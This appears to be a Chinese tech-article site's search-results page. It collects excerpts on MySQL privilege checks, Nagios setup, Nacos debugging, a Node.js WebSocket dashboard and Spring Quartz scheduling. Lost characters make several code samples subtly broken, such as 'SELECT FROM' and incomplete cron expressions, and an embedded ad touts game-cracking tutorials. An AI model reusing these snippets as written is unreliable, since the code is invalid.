前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[Redis 数据结构优化性能 ]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
MySQL
...? 兄弟们,作为一个数据库工程师或者开发者,你肯定知道权限管理在数据库中的重要性。权限管理嘛,就好比数据库的保安大哥,专门管着谁能进去溜达,谁能摸东西,谁又能动东西。对于MySQL来说,权限控制更是必不可少的一部分。 我们常常会遇到这样的情况:一个项目上线后,突然发现某些表的权限设置得不对劲,导致数据被误删或者被非法访问。哎呀,这个时候咱们就得赶紧去数据库里逛一圈啦,挨个瞅瞅那些表的权限设置是不是都正常,可别哪里漏了或者出啥幺蛾子!嘿,今天咱们就来唠唠怎么在MySQL里瞅瞅每个表都有啥权限呗!说起来可能有点技术含量,但只要跟着步骤走,保管你也能轻松掌握!希望我的分享能帮到大家~ 二、准备工作 连接MySQL服务器 首先,我们需要连接到我们的MySQL服务器。如果你是用命令行工具,可以直接输入以下命令: bash mysql -u root -p 然后输入你的密码。如果你用的是 Navicat 或者 DBeaver 这种图形化工具,那就好办了!直接打开工具,然后填上服务器地址、用户名和密码就行啦,就跟平时填表单似的,简单得很! 进入MySQL后,我们可以开始查看权限了。咳咳,先说在前面啊,咱们得搞清楚一件事——MySQL的那个权限系统,真的不是闹着玩的!它就像是一个超级复杂的迷宫,啥用户啦、数据库啦、表啦,全都搅和在一起,分分钟让人头大。所以,我们要一步步来,先从最基本的开始。 三、查看用户的全局权限 在MySQL中,用户级别的权限是最基础的权限设置。我们可以通过SHOW GRANTS命令来查看某个用户的全局权限。比如,如果你想查看root用户的权限,可以执行以下命令: sql SHOW GRANTS FOR 'root'@'localhost'; 这个命令会返回root用户在localhost上的所有权限。比如: plaintext GRANT ALL PRIVILEGES ON . TO 'root'@'localhost' WITH GRANT OPTION 这里的ALL PRIVILEGES表示root用户拥有所有的权限,包括对所有数据库和表的操作权限。WITH GRANT OPTION表示该用户还可以将这些权限授予其他用户。 但是,有时候我们会忘记具体设置了哪些权限,这时候就需要手动检查了。我们可以用SELECT语句查询mysql.user表来查看详细信息: sql SELECT FROM mysql.user WHERE User='root'; 这个查询会返回root用户的详细权限设置,包括是否允许登录、是否有超级权限等。 四、查看特定数据库的权限 接下来,我们来看如何查看特定数据库的权限。假设我们有一个名为my_database的数据库,想看看这个数据库的所有表的权限,可以使用SHOW GRANTS命令结合具体的数据库名: sql SHOW GRANTS FOR 'some_user'@'%' ON my_database.; 这里的some_user是我们要检查的用户,%表示可以从任何主机连接。ON my_database.表示只查看my_database数据库中的权限。 如果想看更详细的权限设置,可以通过查询mysql.db表来实现: sql SELECT FROM mysql.db WHERE Db='my_database'; 这个查询会返回my_database数据库的所有权限设置,包括用户、权限类型(如SELECT、INSERT、UPDATE等)以及允许的主机。 五、查看特定表的权限 现在,我们已经知道了如何查看整个数据库的权限,那么接下来就是查看特定表的权限了。MySQL里有个SHOW TABLE STATUS的命令,能让我们瞅一眼某个表的基本情况,比如它有多大、创建时间啥的。不过呢,要是想看权限相关的东西,还得再折腾一下才行。 假设我们有一个表叫users,想要查看这个表的权限,可以这样做: sql SHOW GRANTS FOR 'some_user'@'%' ON my_database.users; 这条命令会显示some_user用户在my_database数据库的users表上的所有权限。如果你觉得这样还不够直观,可以查询information_schema.TABLE_PRIVILEGES视图: sql SELECT FROM information_schema.TABLE_PRIVILEGES WHERE TABLE_SCHEMA='my_database' AND TABLE_NAME='users'; 这个查询会返回my_database数据库中users表的所有权限记录,包括权限类型、授权用户等信息。 六、实战演练 批量检查所有表的权限 在实际工作中,我们可能需要批量检查整个数据库中所有表的权限。其实MySQL本身没给个现成的命令能一口气看看所有表的权限,不过咱们可以用脚本自己搞掂啊! 下面是一个简单的Python脚本示例,用来遍历数据库中的所有表并打印它们的权限: python import pymysql 连接到MySQL服务器 conn = pymysql.connect(host='localhost', user='root', password='your_password') cursor = conn.cursor() 获取数据库列表 cursor.execute("SHOW DATABASES") databases = cursor.fetchall() for db in databases: db_name = db[0] 跳过系统数据库 if db_name in ['information_schema', 'performance_schema', 'mysql']: continue 切换到当前数据库 cursor.execute(f"USE {db_name}") 获取表列表 cursor.execute("SHOW TABLES") tables = cursor.fetchall() for table in tables: table_name = table[0] 查询表的权限 cursor.execute(f"SHOW GRANTS FOR 'some_user'@'%' ON {db_name}.{table_name}") grants = cursor.fetchall() print(f"Database: {db_name}, Table: {table_name}") for grant in grants: print(grant) 关闭连接 cursor.close() conn.close() 这个脚本会连接到你的MySQL服务器,依次检查每个数据库中的所有表,并打印出它们的权限设置。你可以根据需要修改脚本中的用户名和密码。 七、总结与思考 通过这篇文章,我们学习了如何查看MySQL中所有表的权限。从最高级别的全局权限,到某个数据库的权限,再细化到某张表的权限,每个环节都有一套对应的命令和操作方法,就跟搭积木一样,一层层往下细分,但每一步都有章可循!MySQL的权限管理系统确实有点复杂,感觉像是个超级强大的工具箱,里面的东西又多又专业。不过别担心,只要你搞清楚了最基本的那些“钥匙”和“门道”,基本上就能搞定各种情况啦,就跟玩闯关游戏一样,熟悉了规则就没什么好怕的! 在这个过程中,我一直在思考一个问题:为什么MySQL要设计这么复杂的权限系统?其实答案很简单,因为安全永远是第一位的。无论是企业级应用还是个人项目,我们都不能忽视权限管理的重要性。希望能通过这篇文章,让你在实际操作中更轻松地搞懂MySQL的权限系统,用起来也更得心应手! 最后,如果你还有其他关于权限管理的问题,欢迎随时交流!咱们一起探索数据库的奥秘!
2025-03-18 16:17:13
50
半夏微凉
转载文章
..._CODE是一个字典结构,将字符或特殊键与对应的虚拟键码关联起来。例如,在文中提到的VK_CODE A 等于0x41,表示字母\ A\ 在系统内部被识别为0x41这个特定数值,程序通过调用keybd_event函数并传入对应虚拟键码来模拟按下或释放该键。 win32api模块 , win32api是Python的一个库,提供了对Windows API(应用程序接口)的访问功能。它允许Python程序员以编程方式执行许多Windows操作系统的底层任务,如模拟用户输入、控制窗口、处理文件和目录等。在本文中,作者利用win32api模块中的mouse_event和keybd_event函数实现了对鼠标点击、移动以及键盘按键的模拟操作,这对于自动化测试、脚本编写以及需要自动交互的应用场景尤为实用。 用户界面自动化(UI Automation) , 用户界面自动化是一种软件测试方法和技术,旨在通过编写脚本或程序代替人工操作,实现对应用程序用户界面的各种元素(如按钮、文本框、菜单等)进行自动化的点击、输入、验证等交互行为。在本文中,作者通过Python win32api模块模拟键盘和鼠标事件,从而实现在Windows环境下对用户界面的自动化控制,这是用户界面自动化的一种具体实践形式,常用于提高测试效率、减少重复工作并确保软件功能稳定可靠。
2023-06-07 19:00:58
54
转载
转载文章
...涵盖必备基础、爬虫和数据分析 ③ 100多个Python实战案例,含50个超大型项目详解,学习不再是只会理论 ④ 20款主流手游迫解 爬虫手游逆行迫解教程包 ⑤ 爬虫与反爬虫攻防教程包,含15个大型网站迫解 ⑥ 爬虫APP逆向实战教程包,含45项绝密技术详解 ⑦ 超300本Python电子好书,从入门到高阶应有尽有 ⑧ 华为出品独家Python漫画教程,手机也能学习 ⑨ 历年互联网企业Python面试真题,复习时非常方便 👉Python学习视频600合集👈 观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。 👉实战案例👈 光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。 👉100道Python练习题👈 检查学习结果。 👉面试刷题👈 资料领取 上述这份完整版的Python全套学习资料已经上传CSDN官方,朋友们如果需要可以微信扫描下方CSDN官方认证二维码输入“领取资料” 即可领取 好文推荐 了解python的前景:https://blog.csdn.net/weixin_49891576/article/details/127187029 了解python的兼职:https://blog.csdn.net/weixin_49891576/article/details/127125308 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_49891576/article/details/130861900。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-04 23:38:21
105
转载
转载文章
...件管理比较方便,但是数据量大了之后,很难整理.所以建议将这些配置分开 cfg_file=/usr/local/nagios/etc/objects/commands.cfg cfg_file=/usr/local/nagios/etc/objects/contacts.cfg cfg_file=/usr/local/nagios/etc/objects/timeperiods.cfg cfg_file=/usr/local/nagios/etc/objects/templates.cfg cfg_file=/usr/local/nagios/etc/objects/contactgroups.cfg cfg_file=/usr/local/nagios/etc/objects/hosts.cfg cfg_file=/usr/local/nagios/etc/objects/hostgroups.cfg cfg_file=/usr/local/nagios/etc/objects/services.cfg cfg_file=/usr/local/nagios/etc/objects/servicegroups.cfg 改check_external_commands=0为check_external_commands=1.这行的作用是允许在web 界面下执行重启nagios、停止主机/服务检查等操作。 把command_check_interval的值从默认的1 改成command_check_interval=15s(根据自己的情况定这个命令检查时间间隔,不要太长也不要太短)。 2.资源配置文件resource.cfg 资源文件可以保存用户自定义的宏.资源文件的一个主要用处是用于保存一些敏感的配置信息,如系统口令等不能让CGIs 程序模块获取到的东西 3.CGI配置文件cgi.cfg CGI 配置文件包含了一系列的设置,它们会影响CGIs程序模块.还有一些保存在主配置文件之中,因此CGI 程序会知道你是如何配置的Nagios并且在哪里保存了对象定义.最实际的例子就是,如果你想建立一个只有查看报警权限的用户,或者只有查看其中一些服务 器或者服务状态的权限,通过修改cfi.cfg可以灵活的控制web访问端的权限. 4.主机定义文件 定义你要监控的对象,这里定义的“host_name”被应用到其它的所有配置文件中,这个是我们配置Nagios 必须修改的配置文件. [root@test objects] vim hosts.cfg define host{ host_name Nagios-Server ; 设置主机的名字,该名字会出现在hostgroups.cfg 和services.cfg 中。注意,这个名字可以不是该服务器的主机名。 alias Nagios服务器 ; 别名 address 192.168.81.128 ; 主机的IP 地址 check_command check-host-alive ; 检查使用的命令,需要在命令定义文件定义,默认是定义好的。 check_interval 1 ; 检测的时间间隔 retry_interval 1 ; 检测失败后重试的时间间隔 max_check_attempts 3 ; 最大重试次数 check_period 24x7 ; 检测的时段 process_perf_data 0 retain_nonstatus_information 0 contact_groups sagroup ; 需要通知的联系组 notification_interval 30 ; 通知的时间间隔 notification_period 24x7 ; 通知的时间段 notification_options d,u,r ; 通知的选项 w—报警(warning),u—未知(unkown) c—严重(critical),r—从异常情况恢复正常 } define host{ host_name Nagios-Client alias Nagios客户端 address 192.168.81.129 check_command check-host-alive check_interval 1 retry_interval 1 max_check_attempts 3 check_period 24x7 process_perf_data 0 retain_nonstatus_information 0 contact_groups sagroup notification_interval 30 notification_period 24x7 notification_options d,u,r } 5.主机组定义文件 主机组定义文件,可以方便的将相同功能或者在应用上相同的服务器添加到一个主机组里,在WEB 界面可以通过HOST Group 方便的查看该组主机的状态信息. 将刚才定义的两个主机加入到主机组中,针对生产环境就像把所有的MySQL 服务器加到一个MySQL主机组里,将Oracle 服务器加到一个Oracle 主机组里,方便管理和查看,可以配置多个组. [root@test objects] vim hostgroups.cfg define hostgroup { hostgroup_name Nagios-Example ; 主机组名字 alias Nagios 主机组 ; 主机组别名 members Nagios-Server,Nagios-Client ; 主机组成员,用逗号隔开 } 6.服务定义文件 服务定义文件定义你需要监控的对象的服务,比如本例为检测主机是否存活,在后面会讲到如何监控其它服务,比如服务器负载、内存、磁盘等. [root@test objects] vim services.cfg define service { host_name Nagios-Server ; hosts.cfg 定义的主机名称 service_description check-host-alive ; 服务描述 check_period 24x7 ; 检测的时间段 max_check_attempts 3 ; 最大检测次数 normal_check_interval 3 retry_check_interval 2 contact_groups sagroup ; 发生故障通知的联系人组 notification_interval 10 notification_period 24x7 ; 通知的时间段 notification_options w,u,c,r check_command check-host-alive } define service { host_name Nagios-Client service_description check-host-alive check_period 24x7 max_check_attempts 3 normal_check_interval 3 retry_check_interval 2 contact_groups sagroup notification_interval 10 notification_period 24x7 notification_options w,u,c,r check_command check-host-alive } 7.服务组定义文件 和主机组一样,我们可以按需将相同的服务放入一个服务组,这样有规律的分类,便于我们在WEB端查看. [root@test objects] vim servicegroups.cfg define servicegroup{ servicegroup_name Host-Alive ; 组名 alias Host Alive ; 别名设置 members Nagios-Server,check-host-alive,Nagios-Client,check-host-alive } 8.联系人定义文件 定义发生故障时,需要通知的联系人信息.默认安装完成后,该配置文件已经存在,而且该文件不仅定义了联系人,也定义了联系人组,为了条理化的规划,我们把联系人定义放在contacts.cfg文件里,把联系人组放在contactgroups.cfg文件中. [root@test objects] mv contacts.cfg contacts.cfg.bak [root@test objects] vim contacts.cfg define contact{ contact_name maoxian ; 联系人的名字 alias maoxian ; 别名 service_notification_period 24x7 ; 服务报警的时间段 host_notification_period 24x7 ; 主机报警的时间段 service_notification_options w,u,c,r ; 就是在这四种情况下报警。 host_notification_options d,u,r ;同上。 服务报警发消息的命令,在command.cfg 中定义。 service_notification_commands notify-service-by-email 服务报警发消息的命令,在command.cfg 中定义。 host_notification_commands notify-host-by-email email wangyx088@gmail.com ; 定义邮件地址,也就是接收报警邮件地址。 } 9.联系人组定义文件 联系人组定义文件在实际应用中很有好处,我们可以把报警信息分级别,报联系人分级别存放在联系人组里面.例如:当发生一些警告信息的情况下,只发邮件给系统工程师联系人组即可,但是当发生重大问题,比如主机宕机了,可以发给领导联系人组. [root@test objects] vim contactgroups.cfg define contactgroup{ contactgroup_name sagroup ; 组名 alias Nagios Administrators ; 别名 members maoxian ; 联系人组成员 } 10.命令定义文件 commands.cfg 命令定义文件是Nagios中很重要的配置文件,所有在hosts.cfg还是services.cfg使用的命令都必须在命令定义文件中定义才能使用.默认情况下,范例配置文件已经配置好了日常需要使用的命令,所以一般不做修改. 11.时间段定义文件 timeperiods.cfg 我们在检测、通知、报警的时候都需要定义时间段,默认都是使用7x24,这也是默认配置文件里配置好的,如果你需要周六日不做检测,或者在制定的维护时间不做检测,都可以在该时间段定义文件定义好,这样固定维护的时候,就不会为大量的报警邮件或者短信烦恼 [root@test objects] cat timeperiods.cfg |grep -v "^" |grep -v "^$" 可以根据业务需求来更改 12.启动Nagios 1> 修改配置文件所有者 [root@test objects] chown -R nagios:nagios /usr/local/nagios/etc/objects/ 2> 检测配置是否正确 [root@test objects] /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg 如果配置错误,会给出相应的报错信息,可以根据信息查找,注意,如果配置文件中有不可见字符也可以导致配置错误 3> 重载Nagios [root@test objects] service nagios restart 本文出自 “毛线的linux之路” 博客,请务必保留此出处http://maoxian.blog.51cto.com/4227070/756516 本篇文章为转载内容。原文链接:https://blog.csdn.net/gzh0222/article/details/8549202。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-16 20:48:42
483
转载
Nacos
...就会加载一堆东西,像数据库连接池啦,缓存配置啦,各种各样的“装备”都得准备好,这样它才能顺利开工干活呀! “会不会是某个配置项的加载顺序影响了Nacos的读取?”我突然想到这一点。我琢磨着这事儿,干脆把所有的配置加载顺序仔仔细细捋了一遍,就为了确保Nacos的配置能在服务刚启动的时候就给安排上,别拖到后面出了幺蛾子。 同时,我还加强了异常处理逻辑,给Nacos的读取操作加上了try-catch块,以便捕获具体的异常信息: java try { String content = configService.getConfig(dataId, group, timeoutMs); System.out.println("Config loaded successfully: " + content); } catch (NacosException e) { System.err.println("Failed to load config: " + e.getMessage()); } 经过一番调整后,我再次启动服务,终于看到了一条令人振奋的消息:“Config loaded successfully”。 “太好了!”我长舒一口气,“原来问题就出在这里啊。” --- 五、总结与感悟 经过这次折腾,我对Nacos有了更深的理解。Nacos这东西确实挺牛的,是个超棒的配置管理工具,但用着用着你会发现,它也不是完美无缺的,各种小问题啊、坑啊,时不时就冒出来折腾你一下。其实吧,这些问题真不一定是Nacos自己惹的祸,八成是咱们的代码写得有点问题,或者是环境配错了,带偏了Nacos。 “其实啊,调试的过程就像侦探破案一样,需要耐心和细心。我坐在电脑前忍不住感慨:“哎,有时候觉得这问题看起来平平无奇的,可谁知道背后可能藏着啥惊天大秘密呢!”” 总之,这次经历让我明白了一个道理:遇到问题不要慌,要冷静分析,逐步排查。只有这样,才能找到问题的根本原因,解决问题。希望我的经验能对大家有所帮助,如果有类似的问题,不妨按照这个思路试试看!
2025-04-06 15:56:57
67
清风徐来
NodeJS
...!服务器跑得怎么样、数据库忙不忙,这些事儿一下子就清清楚楚地摆在眼前,还能隔空摆弄一下设备呢!这感觉,简直爽到飞起有木有? 但问题是,要实现这种功能并不简单。想象一下,以前我们用老式的网页加载方式,就像打电话问朋友“嘿,有啥新鲜事儿没?”然后挂掉电话等对方回拨告诉你答案。问题是,如果你想知道最新消息,就得一直重复这个过程——不停地挂电话再拨号,也就是不停刷新页面,才能看到有没有新东西蹦出来。这显然不是最优解。而 WebSocket 就不一样了,它是一种全双工通信协议,可以让客户端和服务端随时互相推送消息,简直是实时应用的最佳拍档! 说到 Node.js,它天生就擅长处理异步事件流,再加上强大的生态系统(比如 Express、Socket.IO 等),简直就是为实时应用量身定制的工具。所以,今天我们就用 Node.js + WebSocket 来做一个简单的实时监控面板,顺便分享一下我的一些心得。 --- 2. 第一步 搭建基础环境 首先,我们需要准备开发环境。Node.js 的安装非常简单,去官网下载对应版本就行。安装完后,用 node -v 和 npm -v 验证是否成功。如果这两个命令都能正常输出版本号,那就说明环境配置好了。 接下来,我们创建项目文件夹,并初始化 npm: bash mkdir real-time-monitor cd real-time-monitor npm init -y 然后安装必要的依赖包。这里我们用到两个核心库:Express 和 ws(WebSocket 库)。Express 是用来搭建 HTTP 服务的,ws 则专门用于 WebSocket 通信。 bash npm install express ws 接下来,我们写一个最基础的 HTTP 服务,确保环境能正常工作: javascript // server.js const express = require('express'); const app = express(); app.get('/', (req, res) => { res.send('Hello World!'); }); const PORT = process.env.PORT || 3000; app.listen(PORT, () => { console.log(Server is running on port ${PORT}); }); 保存文件后运行 node server.js,然后在浏览器输入 http://localhost:3000,应该能看到 “Hello World!”。到这里,我们的基本框架已经搭好了,是不是感觉还挺容易的? --- 3. 第二步 引入 WebSocket 现在我们有了一个 HTTP 服务,接下来该让 WebSocket 上场了。WebSocket 的好处就是能在浏览器和服务器之间直接搭起一条“高速公路”,不用老是像发短信那样频繁地丢 HTTP 请求过去,省时又高效!为了方便,我们可以直接用 ws 库来实现。 修改 server.js 文件,添加 WebSocket 相关代码: javascript // server.js const express = require('express'); const WebSocket = require('ws'); const app = express(); const wss = new WebSocket.Server({ port: 8080 }); wss.on('connection', (ws) => { console.log('A client connected!'); // 接收来自客户端的消息 ws.on('message', (message) => { console.log(Received message => ${message}); ws.send(You said: ${message}); }); // 当客户端断开时触发 ws.on('close', () => { console.log('Client disconnected.'); }); }); app.get('/', (req, res) => { res.sendFile(__dirname + '/index.html'); }); const PORT = process.env.PORT || 3000; app.listen(PORT, () => { console.log(HTTP Server is running on port ${PORT}); }); 这段代码做了几件事: 1. 创建了一个 WebSocket 服务器,监听端口 8080。 2. 当客户端连接时,打印日志并等待消息。 3. 收到消息后,会回传给客户端。 4. 如果客户端断开连接,也会记录日志。 为了让浏览器能连接到 WebSocket 服务器,我们还需要一个简单的 HTML 页面作为客户端入口: html Real-Time Monitor WebSocket Test Send Message 这段 HTML 代码包含了一个简单的聊天界面,用户可以在输入框中输入内容并通过 WebSocket 发送到服务器,同时也能接收到服务器返回的信息。跑完 node server.js 之后,别忘了打开浏览器,去 http://localhost:3000 看一眼,看看它是不是能正常转起来。 --- 4. 第三步 扩展功能——实时监控数据 现在我们的 WebSocket 已经可以正常工作了,但还不能算是一个真正的监控面板。为了让它更实用一点,咱们不妨假装弄点监控数据玩玩,像CPU用得多不多、内存占了百分之多少之类的。 首先,我们需要一个生成随机监控数据的函数: javascript function generateRandomMetrics() { return { cpuUsage: Math.random() 100, memoryUsage: Math.random() 100, diskUsage: Math.random() 100 }; } 然后,在 WebSocket 连接中定时向客户端推送这些数据: javascript wss.on('connection', (ws) => { console.log('A client connected!'); setInterval(() => { const metrics = generateRandomMetrics(); ws.send(JSON.stringify(metrics)); }, 1000); // 每秒发送一次 ws.on('close', () => { console.log('Client disconnected.'); }); }); 客户端需要解析接收到的数据,并动态更新页面上的信息。我们可以稍微改造一下 HTML 和 JavaScript: html CPU Usage: Memory Usage: Disk Usage: javascript socket.onmessage = (event) => { const metrics = JSON.parse(event.data); document.getElementById('cpuProgress').value = metrics.cpuUsage; document.getElementById('memoryProgress').value = metrics.memoryUsage; document.getElementById('diskProgress').value = metrics.diskUsage; const messagesDiv = document.getElementById('messages'); messagesDiv.innerHTML += Metrics updated. ; }; 这样,每秒钟都会从服务器获取一次监控数据,并在页面上以进度条的形式展示出来。是不是很酷? --- 5. 结尾 总结与展望 通过这篇文章,我们从零开始搭建了一个基于 Node.js 和 WebSocket 的实时监控面板。别看它现在功能挺朴素的,但这东西一出手就让人觉得,WebSocket 在实时互动这块儿真的大有可为啊!嘿,听我说!以后啊,你完全可以接着把这个项目捯饬得更酷一些。比如说,弄点新鲜玩意儿当监控指标,让用户用起来更爽,或者直接把它整到真正的生产环境里去,让它发挥大作用! 其实开发的过程就像拼图一样,有时候你会遇到困难,但只要一点点尝试和调整,总会找到答案。希望这篇文章能给你带来灵感,也欢迎你在评论区分享你的想法和经验! 最后,如果你觉得这篇文章对你有帮助,记得点个赞哦!😄 --- 完
2025-05-06 16:24:48
74
清风徐来
转载文章
...定 JDBC 事务的数据源、全局作业和/或触发器侦听器、插件、线程池,以及更多)配置 Quartz,但它根本没有与应用程序服务器的上下文或引用集成在一起。结果就是作业不能访问 Web 服务器的内部函数;例如,在使用 WebSphere 应用服务器时,由 Quartz 调度的作业并不能影响服务器的动态缓存和数据源。 二、java中实现定时任务分类 从实现的技术上来分类,目前主要有三种技术(或者说有三种产品): Java自带的java.util.Timer类,这个类允许你调度一个java.util.TimerTask任务。使用这种方式可以让你的程序按照某一个频度执行,但不能在指定时间运行。一般用的较少,这篇文章将不做详细介绍。 使用Quartz,这是一个功能比较强大的的调度器,可以让你的程序在指定时间执行,也可以按照某一个频度执行,配置起来稍显复杂,稍后会详细介绍。 Spring3.0以后自带的task,可以将它看成一个轻量级的Quartz,而且使用起来比Quartz简单许多,稍后会介绍。 从作业类的继承方式来讲,可以分为两类: 作业类需要继承自特定的作业类基类,如Quartz中需要继承自org.springframework.scheduling.quartz.QuartzJobBean;java.util.Timer中需要继承自java.util.TimerTask。 作业类即普通的java类,不需要继承自任何基类。 注:个人推荐使用第二种方式,因为这样所以的类都是普通类,不需要事先区别对待。 从任务调度的触发时机来分,这里主要是针对作业使用的触发器,主要有以下两种: 每隔指定时间则触发一次,在Quartz中对应的触发器为:org.springframework.scheduling.quartz.SimpleTriggerBean 每到指定时间则触发一次,在Quartz中对应的调度器为:org.springframework.scheduling.quartz.CronTriggerBean 注:并非每种任务都可以使用这两种触发器,如java.util.TimerTask任务就只能使用第一种。Quartz和spring task都可以支持这两种触发条件。 三、Quartz与Spring的集成 第一种,作业类继承自特定的基类:org.springframework.scheduling.quartz.QuartzJobBean。 第一步:定义作业类 Java代码 import org.quartz.JobExecutionContext; import org.quartz.JobExecutionException; import org.springframework.scheduling.quartz.QuartzJobBean; public class Job1 extends QuartzJobBean { private int timeout; private static int i = 0; //调度工厂实例化后,经过timeout时间开始执行调度 public void setTimeout(int timeout) { this.timeout = timeout; } / 要调度的具体任务 / @Override protected void executeInternal(JobExecutionContext context) throws JobExecutionException { System.out.println("定时任务执行中…"); } } 第二步:spring配置文件中配置作业类JobDetailBean Xml代码 <bean name="job1" class="org.springframework.scheduling.quartz.JobDetailBean"> <property name="jobClass" value="com.gy.Job1" /> <property name="jobDataAsMap"> <map> <entry key="timeout" value="0" /> </map> </property> </bean> 说明:org.springframework.scheduling.quartz.JobDetailBean有两个属性,jobClass属性即我们在java代码中定义的任务类,jobDataAsMap属性即该任务类中需要注入的属性值。 第三步:配置作业调度的触发方式(触发器) Quartz的作业触发器有两种,分别是 org.springframework.scheduling.quartz.SimpleTriggerBean org.springframework.scheduling.quartz.CronTriggerBean 第一种SimpleTriggerBean,只支持按照一定频度调用任务,如每隔30分钟运行一次。 配置方式如下: Xml代码 <bean id="simpleTrigger" class="org.springframework.scheduling.quartz.SimpleTriggerBean"> <property name="jobDetail" ref="job1" /> <property name="startDelay" value="0" /><!-- 调度工厂实例化后,经过0秒开始执行调度 --> <property name="repeatInterval" value="2000" /><!-- 每2秒调度一次 --> </bean> 第二种CronTriggerBean,支持到指定时间运行一次,如每天12:00运行一次等。 配置方式如下: Xml代码 <bean id="cronTrigger" class="org.springframework.scheduling.quartz.CronTriggerBean"> <property name="jobDetail" ref="job1" /> <!—每天12:00运行一次 --> <property name="cronExpression" value="0 0 12 ?" /> </bean> 关于cronExpression表达式的语法参见附录。 第四步:配置调度工厂 Xml代码 <bean class="org.springframework.scheduling.quartz.SchedulerFactoryBean"> <property name="triggers"> <list> <ref bean="cronTrigger" /> </list> </property> </bean> 说明:该参数指定的就是之前配置的触发器的名字。 第五步:启动你的应用即可,即将工程部署至tomcat或其他容器。 第二种,作业类不继承特定基类。 Spring能够支持这种方式,归功于两个类: org.springframework.scheduling.timer.MethodInvokingTimerTaskFactoryBean org.springframework.scheduling.quartz.MethodInvokingJobDetailFactoryBean 这两个类分别对应spring支持的两种实现任务调度的方式,即前文提到到java自带的timer task方式和Quartz方式。这里我只写MethodInvokingJobDetailFactoryBean的用法,使用该类的好处是,我们的任务类不再需要继承自任何类,而是普通的pojo。 第一步:编写任务类 Java代码 public class Job2 { public void doJob2() { System.out.println("不继承QuartzJobBean方式-调度进行中..."); } } 可以看出,这就是一个普通的类,并且有一个方法。 第二步:配置作业类 Xml代码 <bean id="job2" class="org.springframework.scheduling.quartz.MethodInvokingJobDetailFactoryBean"> <property name="targetObject"> <bean class="com.gy.Job2" /> </property> <property name="targetMethod" value="doJob2" /> <property name="concurrent" value="false" /><!-- 作业不并发调度 --> </bean> 说明:这一步是关键步骤,声明一个MethodInvokingJobDetailFactoryBean,有两个关键属性:targetObject指定任务类,targetMethod指定运行的方法。往下的步骤就与方法一相同了,为了完整,同样贴出。 第三步:配置作业调度的触发方式(触发器) Quartz的作业触发器有两种,分别是 org.springframework.scheduling.quartz.SimpleTriggerBean org.springframework.scheduling.quartz.CronTriggerBean 第一种SimpleTriggerBean,只支持按照一定频度调用任务,如每隔30分钟运行一次。 配置方式如下: Xml代码 <bean id="simpleTrigger" class="org.springframework.scheduling.quartz.SimpleTriggerBean"> <property name="jobDetail" ref="job2" /> <property name="startDelay" value="0" /><!-- 调度工厂实例化后,经过0秒开始执行调度 --> <property name="repeatInterval" value="2000" /><!-- 每2秒调度一次 --> </bean> 第二种CronTriggerBean,支持到指定时间运行一次,如每天12:00运行一次等。 配置方式如下: Xml代码 <bean id="cronTrigger" class="org.springframework.scheduling.quartz.CronTriggerBean"> <property name="jobDetail" ref="job2" /> <!—每天12:00运行一次 --> <property name="cronExpression" value="0 0 12 ?" /> </bean> 以上两种调度方式根据实际情况,任选一种即可。 第四步:配置调度工厂 Xml代码 <bean class="org.springframework.scheduling.quartz.SchedulerFactoryBean"> <property name="triggers"> <list> <ref bean="cronTrigger" /> </list> </property> </bean> 说明:该参数指定的就是之前配置的触发器的名字。 第五步:启动你的应用即可,即将工程部署至tomcat或其他容器。 到此,spring中Quartz的基本配置就介绍完了,当然了,使用之前,要导入相应的spring的包与Quartz的包,这些就不消多说了。 其实可以看出Quartz的配置看上去还是挺复杂的,没有办法,因为Quartz其实是个重量级的工具,如果我们只是想简单的执行几个简单的定时任务,有没有更简单的工具,有! 四、Spring-Task 上节介绍了在Spring 中使用Quartz,本文介绍Spring3.0以后自主开发的定时任务工具,spring task,可以将它比作一个轻量级的Quartz,而且使用起来很简单,除spring相关的包外不需要额外的包,而且支持注解和配置文件两种 形式,下面将分别介绍这两种方式。 第一种:配置文件方式 第一步:编写作业类 即普通的pojo,如下: Java代码 import org.springframework.stereotype.Service; @Service public class TaskJob { public void job1() { System.out.println(“任务进行中。。。”); } } 第二步:在spring配置文件头中添加命名空间及描述 Xml代码 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:task="http://www.springframework.org/schema/task" 。。。。。。 xsi:schemaLocation="http://www.springframework.org/schema/task http://www.springframework.org/schema/task/spring-task-3.0.xsd"> 第三步:spring配置文件中设置具体的任务 Xml代码 <task:scheduled-tasks> <task:scheduled ref="taskJob" method="job1" cron="0 ?"/> </task:scheduled-tasks> <context:component-scan base-package=" com.gy.mytask " /> 